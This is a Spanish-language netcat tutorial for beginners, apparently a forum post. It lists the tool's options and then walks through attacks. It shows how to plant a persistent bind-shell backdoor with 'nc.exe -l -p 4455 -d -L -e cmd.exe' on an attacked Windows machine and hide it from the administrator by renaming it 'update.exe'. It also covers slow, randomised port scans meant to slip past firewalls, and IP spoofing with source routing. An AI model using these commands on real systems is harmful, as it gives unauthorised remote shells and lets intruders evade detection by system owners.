UTORIAL DE NETCAT PARA NEWBIESEn
resumen Netcat realiza y acepta conexiones TCP Y UDP. ¡Eso es todo!
Netcat escribe y lee los datos en este tipo de conexiones hasta que se
cierren. Proporciona un subsistema de conexión a red básico basado en
TCP/UDP que permite a los usuarios interactuar en forma normal o
mediante secuencias de comandos con aplicaciones de red y servicios
sobre la capa de aplicación. Nos permitirá ver datos TCP y UDP en bruto
antes de que sean recubiertos por la siguiente capa superior, tal como
FTP, SMTP, o HTTP. Antes de continuar debo decirte que tendrás que tener
Netcat en C:WINDOWSSystem32 por cuestiones que no soy primordiales de
este manual.
LINEA DE COMANDOSLa
línea básica de comandos para Netcat es nc [opciones] host puertos,
donde host es la dirección IP que se desea analizar y puertos es o un
determinado puerto o un rango de puertos o una serie de puertos
separados por espacios. Echemos un vistazo a cada una de las opciones.
-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.
-e
Un nc a la escucha podrá ejecutar el en
el instante en que alguien se conecte al puerto en el que está
escuchando.
-i Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g
Se pueden especificar hasta 8 opciones –g en la
línea de comandos para forzar que su tráfico nc pase por determinadas
direcciones IP.
-G Esta opción le permitirá
definir que dirección IP va a ser el siguiente salto dentro de la ruta
indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.
OBTENER ACCESO REMOTO A UNA SHELL
Si
se ejecuta el comando nc.exe -l –p4455 –e cmd.exedesde una ventana del
símbolo del sistema en una plataforma basada en Windows NT o Windows
2000, cualquiera que realice un Telnet al puerto 4455 de dicha
plataforma se encontrará con una shell DOS sin tener que iniciar una
sesión en ella.
Bastante elegante, pero también da un poco de
miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos
en el sistema atacado. Naturalmente, en los sistemas Windows NT y
Windows 2000, tendrá los mismos privilegios y servicios que el usuario
que ejecute Netcat. Si creamos de esta manera una puerta trasera en
Windows 95 y Windows 98obtendremos un control completo.
Vamos a
seguir profundizando en este comando, recuerden que de forma
predeterminada Netcat se ejecutará en la ventana DOS que se haya
iniciado, este hecho significa que la ventana de control de comandos
tendrá que permanecer abierta mientras Netcat se encuentre en ejecución.
Emplearemos la opción –d para separarla del indicador de comandos.
Código:
C:>nc.exe –l –p 4455 –d –e cmd.exe
De ésta forma, podremos ocultar una puerta trasera basada en Netcat.
Sin
embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan
pronto como se finalice la conexión, Netcat pensará que su trabajo ha
terminado y dejará de escuchar. Para evitar esto utilizaremos la opción
–L diciéndole a Netcat que escuche con más interés incluso después de
haber finalizado la conexión.
Código:
C:>nc.exe –p 4455 –d –L –e cmd.exe
Esto
nos permitirá volver al sistema hasta que el administrador de dicho
sistema descubra la puerta trasera. Y para evitar que nos descubra
podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en
este ejemplo yo tengo nc.exe que voy a mover en C: y no en
C:WindowsSystem32
Cualquiera podrá ignorar algo tan
aparentemente inofensivo como update.exe. Otra característica de Netcat
es que si lo utilizamos sin ninguna opción en la línea de comandos, nos
pedirá que la introduzcamos en la primera línea de la entrada estándar.
EXPLORACION SILENCIOSA DE PUERTOS
Como
Netcat puede hablar con un rango de puertos, un uso muy obvio sería
utilizarlo como explorador de puertos. La opción –z es la respuesta.
Ésta opción le dirá a Netcat que envía una determinada cantidad de datos
a algún puerto, pero dicha cantidad solo será suficiente para saber si
el puerto está abierto o no. En éste caso utilizaremos la opción –v o
–vv ya que sin por lo menos una –v no podremos ver el resultado de la
exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1
desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran
abiertos el 139,141 y 142.
Pero esta forma de hacerlo no
es la mas correcta que digamos porque algunas aplicaciones de
cortafuegos, bloquearan determinada dirección IP si reciben demasiadas
conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos
suceda esto Netcat permite hacer exploraciones de una manera más
discreta, tan discreta que no parecerá una exploracion de puertos. Se
podrá utilizar la opción –i y configurar un intervalo de prueba y la
opción –r para lo haga de forma aleatoria.Puede hacerse este mismo
procedimiento para los puertos UDP solo agregándole –u a la línea de
comandos.
SUPLANTAR UNA DIRECCION IP
Suplantar
una dirección IP resulta sencillo. Los cortafuegos que realizan
enmascaramiento o una traducción de las direcciones de red suplantan
diariamente direcciones IP. Estos dispositivos toman un paquete desde
una dirección IP interna, cambian la dirección IP origen del paquete a
su propia dirección IP, lo envían por la red y deshacen las
modificaciones cuando vuelven a recibir los datos desde el destino. Por
ello, decimos que modificar los contenidos de la dirección IP origen en
un paquete IP resulta sencillo. Lo que si es difícil es ser capaz de
recibir datos desde una dirección IP suplantada.
Netcat dispone
de la opción –s que nos permitirá especificar la dirección IP que
deseemos. Cualquiera podria iniciar una exploración de puertos
utilizando la opción –s para hacer pensar que estan siendo explorado por
Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos
reenviar las respuestas emitidas por el puerto suplantado a nuestra
dirección IP real. Supongamos, por ejemplo, que el host de destino
piensa que ha recibido una petición de conexión de Microsoft, intentará
enviar un mensaje de reconocimiento a dicha ip de Microsoft.
Naturalmente, esta dirección IP no tendrá idea de lo que está hablando
el host de destino y enviará un reset. ¿Cómo podemos enviar la
información de vuelta a la dirección IP real sin que seamos
descubiertos?
En lugar de atacar a la maquina destino, la única
otra opción viable es utilizar el encaminamiento dependiente del origen.
El encaminamiento dependiente del origen permite a una aplicación de
red especificar la ruta que desea seguir para llegar a su destino.
Existen
dos tipos de encaminamiento dependiente del origen: estricto y
relajado. El encaminamiento dependiente del origen estricto significa
que el paquete debe especificar cada salto a realizar en la ruta hasta
llegar al host de destino. Algunos routers y otros dispositivos de red
siguen permitiendo el encaminamiento dependiente del origen estricto,
pero muy pocos permiten el encaminamiento dependiente del origen
relajado. El encaminamiento dependiente del origen relajado indica a los
routers y a los dispositivos de red que los routers pueden efectuar la
mayor parte del encaminamiento hasta llegar al host de destino, este
proceso nos permitirá hacer que el paquete pase por nuestra maquina al
regresar. Utilizando este método el encaminamiento dependiente del
origen puede permitir que suplantemos una direccion IP y que obtengamos
las respuestas a su viaje de vuelta. La mayoría de los routers ignoran
las opciones del encaminamiento dependiente del origen, pero no todos.
La
opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá
dar el paquete antes de llegar a su destino, por ejemplo: nc –g
10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará
en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del
encaminamiento dependiente del origen se encuentran activadas sobre
routers intermedios, tráfico se verá forzado a seguir la ruta a través
de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g
10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 –G 12 10.10.9.50 23,
en este comando estaremos especificando un puntero de salto utilizando
la opción –G. La opción –G configurará el puntero de salto al n-simo
byte (en este caso el duodecimo) y como las direcciones IP tienen 4
bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo
que en su camino a 10.10.9.50, el tráfico necesitará atravesar
únicamente las dos ultimas maquinas (porque de acuerdo con el puntero de
salto ya hemos estado en las primeras). Sin embargo en el viaje de
vuelta el paquete si pasará por las 4 maquinas.
JUGANDO CON NETCAT
le dejo .doc (word) .PDF .Video y el NC Tutoriales obiamente de netcat
Index
-[Doc]Jugando-con-NetCat_I
-[Doc]Jugando-con-NetCat_II
-[Doc]Jugando-con-NetCat_III
-[Doc]Jugando-con-NetCat_IV
-[Doc]Jugando-con-NetCat_V
-[Doc]Jugando-con-NetCat_VI
-[PDF]Jugando-con-NetCat_I
-[PDF]Jugando-con-NetCat_II
-[PDF]Jugando-con-NetCat_III
-[PDF]Jugando-con-NetCat_IV
-[PDF]Jugando-con-NetCat_V
-[PDF]Jugando-con-NetCat_VI
-[Video]Jugando-con-NetCat_I
-[Video]Jugando-con-NetCat_II
-[Video]Jugando-con-NetCat_III
-cliente_nc
-cliente_nc_cf
-servidor_nc
-servidor_nc_cf
Link:
http://test.drawcoders.net/netcat/Saludos